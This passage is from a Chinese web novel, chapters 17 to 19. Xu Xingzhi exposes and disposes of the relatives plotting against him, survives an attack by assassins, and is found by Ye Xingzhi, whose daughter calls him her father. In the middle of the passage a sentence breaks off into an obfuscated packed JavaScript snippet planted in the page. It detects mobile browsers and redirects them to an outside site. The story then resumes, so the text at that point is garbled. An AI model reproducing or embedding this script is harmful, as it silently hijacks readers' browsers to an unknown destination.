徐行之写的这封假信,信上的内容大致是徐家人在山下村一切都好,侄儿徐行之也很安分,整日在村中闲逛,很少再去县学读书,似乎是被自己命不好太倒霉打击到了,没有了考取功名的冲劲,他们会看管好徐行之,绝对不会让徐行之有机会去到洛州考举人,让王云放心。最后还提了一点,王云的亲侄儿徐众望要考童生,也到了成亲的年纪,让王云再多寄些银子回来。 即便和这位“云姨”素不相识,徐行之也能想象到王云打开信后的反应,自然是信以为真然后面露厌恶,寄银子是不可能寄的。 而不寄银子,那就意味着王云至少半年不会给徐东来、王霞和徐众望回信,不回信,便不会得知徐家即将发生的一切。 徐行之为何能猜到王云打开信后的反应,又为何能得知王云对徐家人的态度,因为他用了整整八年的时间来慢慢查探这个秘密。 无论是王云从长安寄来信,还是王霞、徐东来给王云写的信,徐家人总是瞒着徐行之,即便徐行之十岁就中了秀才,可他们也不会让徐行之读一次信。 徐行之有的是时间,从王霞、徐东来和徐众望的只言片语中来推测,王霞近几年对王云的抱怨增多不少,还数次提到王云的来信变少了,寄回来的银子也变少了。徐行之更是发现徐家人写信给王云,王云回信的间隔也越来越长。 徐行之记得自己幼时时,光王云一个人一年就能从长安写三四封信寄回来,跟随着信从长安而来的包裹也很大,但最近这两三年,可谓是截然相反,王霞、徐东来和徐众望的去信越来越多,拿到的回信一年不过一次两次,领回来的包裹也越来越小。 于是,徐行之猜测王云厌恶了王霞、徐东来和徐众望的贪婪,懒得回信,徐行之更是跟踪这三个人,摸清了他们寄信、拿信的途径和频率。 徐家一家三口藏着的秘密,徐行之从十岁到十八岁,一点点挖掘了出来! 打小王霞和徐东来就待徐行之很不好,不许徐行之外出、冬衣也只能穿徐众望不要的,家里的鸡子也从来不会让他吃一口,如果说这是因为他们嫌弃徐行之是个累赘,倒也可以理解,但无法解释的是,无论是徐东来、王霞,还是徐众望,看他的眼神从没有一抹对侄儿、对同为徐家人的关心,也没有对陌生人的无视,有的只是提防。 他们像是在监视着他! 幼时的徐行之,相信了徐东来、王霞、徐众望的说辞,他真以为徐东来和王霞是他的叔婶,他的亲生父母死在了那场走蛟的灾难里,他刚生下来就被徐东来和王霞收养。 既然只是个被收养的侄儿,那么徐东来和王霞苛待他,也能理解,不愿出银子让他去镇上童生老先生那里启蒙,更不意外。所以小时候的徐行之,没有抱怨徐东来、王霞待他不好,也没有记恨徐众望这个堂兄总是欺负他,他只是想着多识字,日后能在镇上找个活计就好了! 当时王霞和徐东来不让他去启蒙,徐行之知道自己不能错过这个机会,他恐吓徐众望,说童生老先生那里还有其他学子,有一对亲兄弟,还有几人是同族,这些学子都住在镇上,如果徐众望一个人去启蒙,那些学子仗着自己家境好又有兄弟和同族在,一定会看不上他这个乡下来的。如果他们两个都能去启蒙,徐众望被欺负的话,徐行之可以替他挨打。 蠢是天生的,徐众望相信了这番说辞,害怕自己一个人去启蒙会被欺负,于是缠着徐东来和王霞,非要让徐行之跟着一块去,最终徐行之达成了愿望。 若是不让徐行之去,徐众望也不要去启蒙,彼时王云给王霞和徐东来寄了不少银子,王霞和徐东来盼着供出个读书人,是以,即便答应了王云不能让徐行之读书的要求,他们还是背着王云,把徐行之送到了镇上去启蒙。 在给王云的回信中,王霞和徐东来从来不提这件事,他们以为让徐行之去读几年书也没事,功名又不是随随便便就能考出来的。 当时徐行之六岁,徐众望八岁。 可王霞和徐东来怎么也没想到,四年后,徐行之一鸣惊人考上了秀才。 当时徐行之不过十岁,就成了少年秀才! 其实,原本徐行之也是没有参加县试、府试和院试的机会的,又是托徐众望太蠢的福,经过徐行之添油加醋的恐吓,徐众望不敢一个人去河清县考童生,王霞和徐东来两个庄稼汉又大字不识一个,只得让徐行之陪考,徐行之给自己争取了一个考试机会。 但这个考试机会并不是轻轻松松就有的,初启蒙时,徐行之还不懂得藏拙,他以为自己功课越好,王霞和徐东来就会支持他去读书,可令徐行之没想到的是,王霞和徐东来反而是打算让徐行之退学。 就是这一次,引起了徐行之的怀疑。 不得不抚养徐行之这个侄儿,嫌弃徐行之是个累赘,这很正常,但徐东来和王霞身为叔婶,该有的反应不该是为徐行之高兴吗?毕竟徐行之又不是女子,一旦有了出息,日后他们也能沾光! 可徐东来和王霞却是让徐行之退学。 徐行之留了个心眼,从此,他不再是第一个背完功课的学子,完成课业需要的时间比徐众望这个蠢货还要长,还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466539|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给徐众望写功课,就连给他们启蒙的那位童生老先生,也以为徐行之是另一个才尽的江郎。 就这么熬了四年,徐行之有了去考童生机会,王霞、徐东来包括徐众望都很放心,他们笃定徐行之通不过! 不过,“通不过”的那人变成了徐众望,直到现在连个童生也不是,在贡院里徐行之不再藏拙,成了十岁的少年秀才! 和之前一样,王霞和徐东来这对叔婶,有的只是惊讶、害怕和阻拦。 然而,这一次他们没有了阻拦的资格,徐行之这个十岁的少年秀才,惊动的可是县学的教谕、夫子和当时还在任的河清县县令。 县学教谕、夫子和当时的河清县县令纷纷表示徐行知是个好苗子,一定要让徐行之来县学读书,王霞和徐东来不能不答应,只好让徐行之去了县学,还利用这次机会把徐众望塞进了县学。 当时徐行之不过十岁,处处留意徐家人的异常,随后的两次“意外受伤”,更是让徐行之确认了自己的猜测。 徐行之第一次去洛州参加秋闱,回徐家收拾行李时,却在自己住的厢房里发现了一条破被子,外边的被套没有异常,但徐行之发现了不对劲。 他一直提防着徐家人,尽量待在县学不回家,可他毕竟是王霞和徐东来的“侄儿”,不可能不回徐家,所以徐行之在自己的床铺和书房动了手脚,只要王霞、徐东来和徐众望进过他的房间,徐行之便会发现。 发现那条破被子后,徐行之没有声张,暗地里跟踪徐众望,查到这竟然是一条得过天花的男子盖过的被褥。 把天花之人盖过的被褥放到徐行之的榻上,只有两种可能,徐行之要么死,要么毁容再也无法科举。 徐行之回到河清县,找了个客栈住了几个月,没有去洛州科举,而是将计就计,传出自己得了天花的消息。 王霞、徐东来和徐众望本以为会见到一个一脸麻子的徐行之,但几个月不见,徐行之反倒是越发清逸,甚至身量又蹿高一头。 这徐家三口人,当时气得饭都吃不下了! 又过三年,到了第二次去洛州参加秋闱的时间。 还是老一套,恰逢县学有两拨学子在吵架,一拨是出身县里的学子,一拨是似徐行之这样的贫寒子弟,徐众望利用这次机会,打算等两拨人带起来的时候,“误伤”徐行之,这样徐行之就不能去洛州科举了。 倒也不用徐众望这个蠢货费心谋划,徐行之如了他的意,假装被某个学子的匕首伤到了腰,这一次,徐行之依旧没能去到洛州。 这次过后,无论山下村还是县学,都有不少人议论他命不好。 徐行之不在意,他的命确实不好,不然也不会遇上徐家这三个人,不过,活着最重要。 他得先好好活着,查出王霞、徐东来和徐众望藏着的秘密,除掉这三个碍事的人,才能够继续走科举这条路,不然,等待他的只会是一条又一条天花病人盖过的毒被子。 这次后,徐行之一反常态,不怎么去县学,而是经常待在山下村,在村子四处和老李山上闲逛,王霞、徐东来和徐众望误以为他受到了打击,对他放松了警惕,徐行之查到的秘密也越来越多。 蹉跎了八年,县学那些学子看徐行之的目光从敬佩变成了同情,徐行之的心性和耐性却是一日日磨练了出来。 只等彻底查出来徐家的秘密,他就会除掉王霞、徐东来和徐众望。 如今,时候到了! 18. 葵葵找爹,父女相见 徐众望转移小月的尸体当场被抓包,又有李老根这个人证在,河清县的赵县令依照大陈朝律法判徐众望斩刑。 本是要秋后处斩,但赵县令为了正一正河清县及其下辖各个村子的风气,把斩刑定在了一个月后。 仅一个小小的山下村,从开春到现在已经发生了两起杀人案,一个是五六十岁的徐老七,一个老不死的东西还贼心不死,猥亵村中女童并残忍杀死八九岁的二丫,一个是在县学读过多年书的徐众望,读书让徐众望“明智”,但这份“智慧”用在了杀人上,又是用地仙说辞忽悠了同村的村民,又是给小月爹娘写假信、留银子,编造小月和卖货郎私奔的假消息,难怪小月爹娘没有报案,一方面觉得女儿和一个卖货郎私奔是丢人的事,另一方面得了信和银子被捂了嘴。 这两起杀人案都让赵县令感到心惊,还有那个被徐众望忽悠到的李老根,也让赵县令愤怒又无奈,从自家山田里挖出一具女尸,这种情况下都能被徐众望用地仙的说辞欺骗到,一个原因是李老根对于缸中那些银钱的贪婪,另一个愿意,是似李老根这样的村民太过愚昧。 所以,趁着给徐众望处斩刑的机会,赵县令下定决心要正河清县的风气,绝不拖到秋后算账,还把山下村村长李春来叫来了县衙,狠狠训斥了一顿。 李春来心里苦啊,李老根脑子是不聪明,但他又没杀人,徐老七和徐众望才是杀人凶手,这两个人都姓徐,是二十年前因为走蛟才搬来山下村的,和他们原住民没关系,早知道就不该让这些姓徐的落户。 他们山下村的原住民可都是好人,这几个姓徐的老鼠屎,把他们山下村的名声全给毁了! 对于徐行之来说,一个月很快就到了,对于王霞、徐东来说,迟迟等不来远在长安的王云的回信,只能在徐家等着自己儿子的死期,而徐众望同样只能在县衙大牢里等死,这一个月,对徐家这一家三口来说,比处在地狱里还要煎熬。 往日里瞧不上徐行之和山下村其他村民的徐众望,现在像是一条被关在县衙里的狗,看见徐行之就跑了过来,“行之,云姨来信没有?” 徐行之今日是陪着徐东来和王霞给徐众望送断头饭的,欣赏着徐众望将死的样子,徐行之淡声道:“没有。” 希望破灭,徐众望摇尾乞怜,仿佛忘记了幼时自己是如何欺负徐行之的,“行之,你能和赵县令说上话,你快救救我啊,行之,我求你了,我们是堂兄弟啊,你一定得救我!” 牢房外,徐行之长身玉立,把徐众望将死时肮脏狼狈讨好他的样子记在心里,在牢房不过一个月,徐众望连街上的乞儿都不如了。 眸中闪过一抹笑意,徐行之靠近,“我们是堂兄弟吗?” 轻微的一声,只有徐众望能听到,却似轰雷般,徐众望的眼珠子都要掉出来了,徐行之是知道什么了吗? 僵硬立在牢房里好一会儿,徐众望急忙喊了起来,如犬吠般不停,“爹,娘……” 虽是来送断头饭,但徐东来和王霞方才哭得连话都说不出来了,徐行之“好心”把他们两个扶了出去,表示自己会好好送徐众望这个“堂兄”最后一程,是以,徐众望再怎么喊叫,也传不到徐东来和王霞的耳朵里。 脚步轻快,徐行之离开了县衙牢房。 徐众望被处斩的那日,因着徐家出了一个十岁就中秀才的徐行之,来观刑的人不少。 来李家老宅做饭时,李婶子问叶醒枝要不要去河清县看热闹,叶醒枝没答应,她和徐家人又不熟,又觉得徐行之非等闲之辈,还是不去了。 不过,刑场的情况,叶醒枝通过李婶子也是知道的,李婶子说,围着的百姓都叫好,还惋惜徐行之少年秀才的清誉被徐众望这个杀人犯堂兄给毁了,徐众望的脑袋滚落到地上的时候,死于徐众望之手小月的爹娘带着同村的人挤了过来,看样子还要把徐众望的尸体和那被斩下来的脑袋挫骨扬灰,徐东来和王霞两个人气得要晕过去了,而徐行之是个手无缚鸡之力的秀才郎,虽有心保护堂兄徐众望的遗体,但无力阻拦小月爹娘和那些同村村民。 叶醒枝心想,有心无力吗? 或许是李婆婆自缢那天,徐行之默认了李老根“犯了外重丧”的荒唐说辞,叶醒枝对他有了偏见,总之,她觉得徐行之有些可疑。 徐众望可是杀人犯,小月的爹娘能不把他挫骨扬灰吗?依着徐行之的聪明才智,应该要提前找亲朋好友来保护徐众望的遗体,可他在刑场上什么都没有做。 徐行之不该想不到的! 好一个有心无力的说辞,叶醒枝打算给陆葵葵办下户籍就离开山下村,村中有徐行知这样可疑的人在,比发生的那两起命案还要让人害怕。 笼罩在山下村上方的乌云还未飘走,又出了人命。 这次死的,是徐东来和王霞。 “也不知道他们徐家是祖坟不好,还是上辈子作了孽,徐东来和王霞没把徐众望的尸体拿回来,就用衣裳在老李山上立了个衣冠冢,不知道是太难过了想下去陪徐众望,还是一脚踩空从山上摔下来了。反正人就是没了!” 这个消息依旧是李婶子告诉叶醒枝的,叶醒枝惊讶极了,徐众望的爹娘徐东来和王霞也死了?前段时间李婶子她们还说徐家的祖坟风水好呢! 前车之鉴在,叶醒枝问道:“婶子,确定是从山上摔下来的吗?” “是,王东和陈山带着衙差都来了,行之那孩子还请了县衙的仵作来咱们村里,就是从老李山上摔死的,没人害他们。”李婶子道。 叶醒枝明白了,既然仵作来验尸了,那这个消息应该是真的,只是,会不会太巧了? 不过也说得通,无论是老年丧子悲痛难耐,还是意外踩空从山上摔下来,徐东来和王霞之死并不让人意外。 徐东来和王霞的后事,全都落到了侄儿徐行之的身上,加上徐众望的白事,徐行之一个人操办了三桩后事,李婶子还有其他村民去徐家帮忙。 李婶子从徐家回来感叹道:“徐家就剩行之这一个侄儿了,行之好多天都没合眼了,行之真是个好孩子啊,要不是有行之在,谁给徐东来、王霞和徐众望收尸呢?” “行之还说为了给他叔婶祈福、给徐众望赎罪,要把家里的地分给村里其他姓徐的亲戚,把徐东来、王霞留下的银子,拿出一半来修山神庙,剩下的捐给县里的悲田院,好让那些乞儿和无父无母的孩童有饭吃。” 叶醒枝愣了愣,徐东来、王霞留下的遗产还有田地,徐行之竟然一丁点都不要? 同样是为至亲祈福,同样是修缮山神庙,叶醒之也只会拿出一部分,而徐行之却是把全部遗产拿了出来,此人是太过孝顺,还是超凡脱俗到视银钱如粪土了? 但这些和叶醒枝无关,她懒得想太多。 徐行之的举动,最高兴的就是村长李春来还有村长其他徐家人了。 被赵县令狠狠的训斥了一番,李春来都想把村中这二十来户姓徐的村民从山下村迁出去了,太不安分了,但看到徐众望拿出来的银子,李春来心中的不满被打消,一片歹竹还是能生出来一个好笋的,虽然已经有叶醒枝修缮山神庙,但修山神庙的银子越多越好,最后的功劳都是他这个村长的,把山神哄高兴了,保护的也是他们山下村的村民。 百年前当时的村长和山神签订契约时,山下村只有姓李的人家,没有其他姓,所以山神保佑的是他们李姓村民,用外姓人的钱,让山神来保护他们姓李的,傻子才不答应呢? 村长那二十来户姓徐的人家也很高兴,纷纷夸赞徐行之,他们姓徐的本来就是外来户,又一连出了徐老七和徐众望两个杀人犯,村里其他人看他们的眼神都透着嫌弃,而徐行之拿出银子来修缮山神庙,这可不仅仅是给徐东来、王霞和徐众望祈福,也是在给他们这二十来户姓徐的长脸,他们不必在山下村低人一等了!更何况还有好几亩田地,这可都是粮食啊! 李春来高兴了,二十来户徐姓村民高兴了,夸赞徐行之的话一筐接一筐的往外倒,如今倒是没人提徐众望杀人的事情了,也没人再说徐行之命不好了,纷纷赞扬他孝顺! 在老宅里奋笔疾书的叶醒枝不关心这些,她这段时间都不怎么带着陆葵葵出去玩了,准备写一本话本子。 山下村那些女童们被徐老七猥亵,却不敢说出来,二丫被徐老七杀死,村里人第一反应却是犯了外重丧,更别提还有李老根这样的无知村民,把从地里挖出来的尸体当成地仙,李老根在县衙待了几日被打了板子又被一通灌输,知道了这世上不会有地仙。但整个河清县、整个大陈朝,像李老根这样的村民该有多少呢? 叶醒枝能力有限,她并非一句话就能令朝臣瞩目的重臣,想来想去只能用话本子的形式把这些事情写出来,若能有三五个村民看到并牢记在心,再似李婶子那样口耳相传告诉其他村民,那叶醒枝写出来的这个话本子便是有益的。 叶醒枝夜里睡觉前还在构思,既然要写话本子,那便不能太写实,最终叶醒枝决定就地取材,写一个志怪话本子,以一个被村民供奉的山神为主角,山神有灵,化为凡人,帮助了许多苦难的村民。 陆葵葵的小脑袋瓜从门口探进来又出去,过了一会儿,又探了进来,“娘亲,出去玩!” 叶醒枝的视线从纸张移到门口,“娘亲写东西呢!” 陆葵葵哒哒跑进来,“娘亲也要当县令吗?” 叶醒枝不解,“什么?” 陆葵葵:“爹爹是县令,总是在书房里写东西,娘亲会做透花糍、绿豆糕给爹爹送去。” 豁,若不是陆葵葵今个提起来了,叶醒枝都忘记陆葵葵还有一个爹爹了! 叶醒枝笑了笑,“娘亲当不了县令,娘亲要当女先生!” 陆葵葵很捧场,“娘亲好厉害!” 叶醒枝被逗笑了,在屋里写话本子奋战了好几日,对“小葵花”多有疏忽,叶醒枝道:“想出去玩吗?” 陆葵葵:“李婶婶要带着葵葵爬树,葵葵想和娘亲一起。” “爬树?”叶醒枝立即站了起来,从书房出来,“婶子,您要带着葵葵去爬树?” “不是爬树,是去摘榆钱,让你李叔上树摘。”李婶子一手挎着竹篮,一手拿着长竹竿。 树枝高大,榆荚新开巧似钱[注1],陆葵葵使劲仰着小脑袋瓜,却是连树顶都看不到,“娘亲,树树好高!” “是很高,得有三四层楼那么高了!”叶醒枝感叹道。 李婶子拿着的长竹竿没有派上用场,因为只有高处枝上还有榆钱,李婶子让老伴儿上了树。 李叔的速度很快,折断了几枝扔地上,陆葵葵肉乎乎的小手捋了几个翠绿的榆钱,吃进了小嘴巴里。 陆葵葵刚穿来的时候,生吃一瓣野槐花叶醒枝都会紧张,如今她随意多了,毕竟她这个十六岁的少女也是见过“世面”的人啦,可是给三岁半的陆葵葵擦过小屁屁、洗过不少尿布呢! 中途李婶子回老宅又拿了个竹筐过来,一片片绿油油的榆钱进了竹筐,渐渐被落霞染上了几分橙红。 到了收尾时,却是出了问题,榆钱树上的李叔下不来了。 叶醒枝对着阿杏道:“你先带葵葵回去,让阿竹快点过来。” 李婶子也回家去找救兵了,但她的两个儿子都还在地里,几乎是跑过来的阿竹也没有派上用场,因为他恐高。 阿竹挠挠头,“实在是太高了。” 不过不光是阿竹恐高,三四层楼那么高,山下村很多村民也不敢爬这几棵榆钱树。 “干脆你在树上过夜好了,都说了不让你上这么高!”李婶子生气喊道。。 “不是你让我上树摘榆钱的吗?”李叔也很委屈。 李婶子:“我是准备让老大老二上树的,谁让你上了?” 人到老年也想在老伴面前秀一秀的李叔,虽然下不来榆钱树,但在树上强装镇定,突然,他用力挥着手,“行之,快来快来!” 李婶子回头一看,也喊了起来,“行之,快救救你李叔!” 叶醒枝跟着回头,如锦的晚霞明丽,少年颀长的身影越来越近。 虽是读书人,但徐行之踏着木梯而上,很快来到高处树枝,馋扶着李叔的胳膊,把他从榆钱树上送下来了。 “多亏有行之,不然你就在树上过夜吧!”李婶子赶忙过去馋着老伴儿。 李叔直接瘫坐在地上了,却依旧嘴硬,“这都小意思。” “小意思?”李婶子点了点他的脑子,“那你明儿还继续爬榆钱树过瘾吧?中不中?” 当然不中,李叔说不上来话了! 叶醒枝被逗笑了,“李叔,你太厉害了!” “还是枝枝会说话。”李叔顿时又有了底气! “你听不出来枝枝是在说反话?”李婶子又狠狠点 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徐行之面露悲痛,“还是我没有照顾好徐叔和徐婶。” “行之啊,你可不能这么想……”把沉甸甸一竹筐的榆钱留给了刚从树上下来的李叔,李婶子不停安慰徐行之。 隔着一人的距离,叶醒枝静静听着,给徐东来、王霞和徐众望操办后事也很上心,徐行之面上的难过与自责看起来也是真的,但越是如此,徐行之那一点点的反常显得越明显。 处斩徐众望那日,徐行之没有找亲戚来帮忙收尸,再者,明知徐东来和王霞悲痛难耐,便是徐行之要摸黑去镇上买祭品,也该找个人帮忙看着徐东来和王霞啊! 若徐行之真是个孝顺的侄子,又为何要把徐东来、王霞、徐众望留下的遗产与遗物全都送出去呢?李婶子说徐行之把徐众望书房里的书都送给了村中想要让儿女启蒙的人家。除了那座气派的房子,徐家现在是什么东西都没有了! 徐行之打算留在山下村的话,田地银钱对他来说是必须的,若徐行之要离开,更该把这些东西留下啊,书本是念想,银钱田地可以留着用来给徐东来、王霞和徐众望修缮坟墓,或是过继一个嗣子来传承徐家的香火。 徐行之却并没有这么做,不难想象,过不了多久,徐家那座气派的大院子里也会布满蛛网。 在路口和李婶子、李叔、叶醒枝分开,望着少女袅娜的背影,徐行之眉心微皱,即便叶醒枝和他不相熟,但两人是有过来往的,除了李婆婆自缢那天,叶醒枝后来还遵李婆婆的遗嘱,把李婆婆编的一个竹筒给他送来了,可是方才叶醒枝一句安慰的话都没有。 常理来说,换成其他人,即便做不到像李婶子那般真心,附和也是要附和一句的,不然太失礼。 这位从长安而来的叶小姐,是发现了什么,还是对他有意见? 但这些也不重要,赶在徐众望头七的前一天,他送了徐东来和王霞去地下和自己的儿子见面,不需要徐众望托梦,这一家三口就能见面团聚。 多好啊! 徐行之那一点点的异常,随着春风消散,仵作来验尸都说了没问题,叶醒枝更是犯不着思虑太多,她要操心的是自己的话本子大业,在书房里一连待了多天,既然是以山神为主角,叶醒枝免不了要往老李山上去一次,好亲身感受“山灵”。 这天清晨,叶醒枝睡不着觉,陆葵葵也缠着她要上山看小葵,一大一小还有阿竹来到了老李山上。 叶醒枝上山多次,如今除了李家老宅,整个山下村她最熟悉的就是老李山了! 到了半山腰,阿竹去砍柴,多了一个陆葵葵,老宅里所需的柴火多了不少。 老李山上没有其他人,叶醒枝紧紧牵着陆葵葵的手,乱逛到一处,望着前方地面落叶上的点点暗红色,叶醒枝脚步一顿,是血迹吗? 不会附近有野兽吧? 叶醒枝的视线再往前,下一息,杂草丛里是一片男子的衣袍。 不是野兽,是人! “娘亲?”陆葵葵歪了歪小脑袋瓜。 叶醒枝急忙捂上她的嘴,抱起陆葵葵就往山下跑,是人也不行,她胆小! 跑了几步,来到了山神庙附近,叶醒枝突然停了下来,方才看到的青色长袍,她见徐行之穿过。 山下村只有两人在县学读书,会穿这种儒生长袍的,一个是已经成了鬼的徐众望,剩下的一个只能是徐行之了! 想了想,叶醒枝吧陆葵葵放进了山神庙,交代道:“在这里等着娘亲,不要乱跑。” “葵葵听话。”梳着双髻的陆葵葵乖乖点头。 寻着砍柴的动静,叶醒枝找到就在附近的阿竹,轻声示意阿竹拿着刀跟上,两人回了方才的杂草丛处,叶醒枝先从地上拿块石头扔了过去,见没有动静,她才和阿竹一起慢慢走过去。 杂草丛里躺着的少年浑身血渍,正是徐行之。 阿竹手里拿着砍柴刀,“小姐,是徐秀才。” 叶醒枝一愣,徐行之受伤,是意外还好,若是人为,她可不想卷入其中,早知道不上山了,可是叶醒枝后悔也来不及了。 人性就是这样,她不知道那是徐行之会穿的青色长袍也就罢了,她定然会抱着陆葵葵飞速跑下老李山,可偏偏她认了出来。 同在山下村,装作没看见不去救人,叶醒枝一定会做很长时间的噩梦的。 叶醒枝挎着一个小包,正是陆葵葵的那个葵花小包,她从里面拿出水袋,泼到了徐行之的脸上。 水袋里的水本来是给陆葵葵准备的,此刻用到了徐行之身上,徐行之还有呼吸,不知道泼这一袋子的水能不能让他清醒?如果醒不过来,难不成让阿竹狠狠掐他几下? 只是一袋子的温水,但仿佛当头被浇了一盆水,徐行之缓缓睁开桃花目,看到了一身嫩黄色齐胸襦裙的少女。 他呼出一口气,声音极轻,“叶小姐。” 叶醒枝也松了一口气,“你还能起来吗?” 阿竹一手拿着砍柴刀,扶着徐行之下山,走到山神庙门口,叶醒枝唤道:“葵葵,出来了!” 陆葵葵利落地从山神庙里跑了出来,可刚来到叶醒枝身边,她仰着脑袋瓜看向被阿竹扶着的少年,陆葵葵小小的嘴巴变得像圆溜溜的大眼睛那么圆,“爹爹!” 19. 救他一命;父女相像 陆葵葵激动地喊了起来,“娘亲,是爹爹!” 什么? 叶醒枝眸子瞪大,徐行之就是陆葵葵的爹爹? 不可能吧! 徐行之又不姓陆,不叫陆时安,他也不是长安人士,怎么可能会是陆葵葵的爹爹呢? 拿着砍柴刀的阿竹也愣了愣,“小姐,徐秀才是葵葵的爹爹?” 叶醒枝忙道:“不是不是,你先把他送回去。” 陆葵葵的反应却不是如此,“唰”的一下,扑到了徐行之的怀里,跟屁虫似的攥着徐行之的右手,大眼睛里窝着泪,“爹爹,爹爹你醒醒!” 方才被叶醒枝一袋温水泼醒后,徐行之强撑心神,让自己不再昏迷,他靠在阿竹的怀里,浑身如坠冰窟般冷凉,突然间,怀里钻进来一个小人儿。 准确来说是撞了进来,还挺重! 殷红的血又从徐行之的腰腹处流出来,痛感让徐行之睁开双眸。 一只小小的手紧紧握上他的右掌,温暖的热意流落在徐行之的指尖,如同寒夜里点的一根蜡烛,微弱却是很明显。 那股热意仿佛将徐行之身上的冰冷和困意赶走了一二分,目光往下,他看到了一个个头矮矮、脸蛋圆圆的女童。 挺白,也挺可爱的。 女童那带着哭腔的喊声响起,让徐行之恢复了精神。 爹爹? 这个小姑娘是在找爹爹吗? 可他不是她的爹爹啊! 徐行之微弱启唇,“你……” “你先别说话,养好体力。”一旁的叶醒枝心绪复杂,打断他的话。 看陆葵葵的反应,徐行之好像真的是陆葵葵的爹爹,但叶醒枝不觉得自己几年后会找徐行之这样的歹竹当夫君。 认错爹爹也是有可能的,或许同为读书人,陆葵葵的爹爹陆时安也经常穿儒生长袍,陆葵葵因为这件衣裳认错了人,又或许陆葵葵长时间没有见到自个的爹爹,思爹心切,把徐行之一个陌生人当成了爹爹。还有一种可能,徐行之和陆葵葵的爹爹长得有几分相像,所以一时认错了人。 思量一通,让阿竹扶着徐行之往前走,叶醒枝落后几步,蹲下来对着陆葵葵道:“葵葵,你为何冲他喊爹爹?” 陆葵葵擦了擦泪,“娘亲,这就是爹爹啊!” 叶醒枝:“你不是说你爹叫陆时安吗?可他是村里的人,姓徐,不是你爹爹!” 陆葵葵的小脑袋瓜又转不动了,指了指前方,“他是爹爹!爹爹叫陆时安,是县令大人,娘亲,我们找爹爹!” 叶醒枝无奈叹口气,“行,他是你爹爹,那你记得和娘亲的约定哦,村子里有坏人,不能在外面喊他爹爹,只能当着娘亲的面。你看你爹爹都流血了,不然坏人会把他抓走的。” 陆葵葵用力点头,连泪珠都不敢往下流了,“葵葵不喊爹爹,娘亲,给爹爹治病!” 叶醒枝让阿杏去了镇上找大夫,又拜托李婶子去徐家帮忙照顾,过了整整一日,徐行之才转醒。 看到端着药碗的李婶子,徐行之呆愣一瞬,“李婶?” “行之你可算醒了!”李婶子端着药碗过来,把叶醒枝和阿竹在老李山上遇到徐行之的事情讲了一遍。 李婶子问道:“行之,你咋在山上受了那么重的伤?” 徐行之眸子半垂,“我上山祭拜徐叔、徐婶和堂兄,遇到了野猪,躲避间受伤了,后来我就不知道了。” 老李山上有野猪不奇怪,但从不越过山神庙,不知徐行之为何会碰到,李婶子“呦”了一下,“野猪是会吃人的,还好枝枝救了你!” 李婶子叮嘱徐行之好好养伤,徐家厢房里只剩徐行之一人,半垂的桃花目扬起,那夜发生的事情浮现在他脑中。 不知何处出了差错,徐行之算错了,收到那封被替换的信后,王云是没有回信,但有两个从长安而来的假商人来了山下村。 那两个假商人随便找了山下村一户李姓村民借宿,打听了山下村的情况,又不动声色地问起了徐家和徐行之的近况,询问村民山下村是否有人做生意和读书。 这两个假商人说的是长安的官话,山下村的村民能听懂大半,但十句里有一两句是听不懂的,这户村民让家中小儿来寻徐行之,本是想让徐行之第二天有空时过来帮忙招待,徐行之敏锐察觉到了不对劲。 山下村偏远贫穷,平日里会出现在村中的外地人,十之有九都是镇上或者附近村子的村民,来老李山祭拜山神或是上山找药材,住在河清县的人都很少会来山下村,更别提从长安而来的商人了。 那位出身官宦之家的叶小姐是个例外,若不是要回乡给其舅舅奔丧,叶醒枝应该永远不会来到山下村。 是以,听到村民说这两个商人来自长安,徐行之第一反应就想到了王云,那两个商人还打听了他和徐家的情况,更是让徐行之不得不防! 他十岁中秀才是有了些名声,可这微薄的名声绝对没有传到长安去。 当然这两个商人没有直接提及徐行之,但提到山下村的读书人,必然会从村民口中得到徐行之和徐家的情况,徐行之面色如常,心中已有提防。 深夜,连春日里啾啾个不停的鸟儿都睡着了,山下村一片寂静,徐家一厢房的窗棂却被打开了。 那是徐行之的房间。 两个穿着粗布衣衫的男人手中拿刀,从窗棂跳进房间,直奔徐行之的床榻。 躲在暗处的徐行之,听到了这些动静,在这两个男人还没发现前,朝老李山上奔去。 榻上被子里塞的还是一床被子,只能麻痹那两个假商人一时,在他们挥出刀的那一刻就会察觉,这也是徐行之给自己争取到的生机。 除了王云,不会有人想要杀徐行之。 只有他死了,徐行之身世之谜才能继续掩藏。 躲是躲不了的,王云以及她效忠的那位侯夫人,从长安派了两个假商人来山下村要他的命,如若徐行之逃出山下村,反而会引来更多的“假商人”,不如将计就计,山下村家家户户都是村民,斗不过这两个“假商人”,徐行之断然不能躲到他们家中去,那就去老李山吧。 托徐东来、王霞和徐众望的福,这一家三口想方设法不让他去洛州参加秋闱,这几年来徐行之没少去老李山上闲逛,哪里有野猪、哪个地方多兔子,他很是清楚,老李山山高路陡,林木高大,只要把那两个假商人引上来,即便他们武力强大,在山上也施展不开。 和徐行之猜的一样,厢房里的一个假商人挥刀砍下后大惊失色,“不是徐行之,他在门口!” 徐行之故意在徐家门口弄出动静,引着这两个假商人来到了老李山上。 自打发现徐东来、王霞和徐众望背着他藏有秘密,徐行之有意锻炼武力,拜一个镖局的师傅学过几招,当然此事是背着徐东来、王霞和徐众望的。今夜,他本就很熟悉老李山的地形,加上有镖局老师傅教过的那几招,把那两个假商人引到了老李山上后,徐行之并未落下风。 山下村村民很有默契,绝不越过山神庙,徐行之来到了山神庙也未停下来,而是继续往里跑。 不知跑了多久,那两个假商人在老李山上脑袋都转晕了,这时,徐行之故意慢了下来。 假商人大喜,以为徐行之一个读书人耗尽了气力,夜色朦胧,其中一人挥刀砍向徐行之。 左胳膊连带腰腹一瞬间皮开肉绽,徐行之顺着山势滚了下去。 山林郁郁,遮蔽月光,两个假商人站在高处,看不见下方的情况,其中一人气喘吁吁,“死了没有?” 过了一会儿,另一个假商人喘着粗气答道:“一点动静都没有,是死了吧。” 筋疲力尽,两个假商人纠结要不要从坡上下来查看,这时,背后响起飞快又沉重的脚步声。 “嗷嗷!” 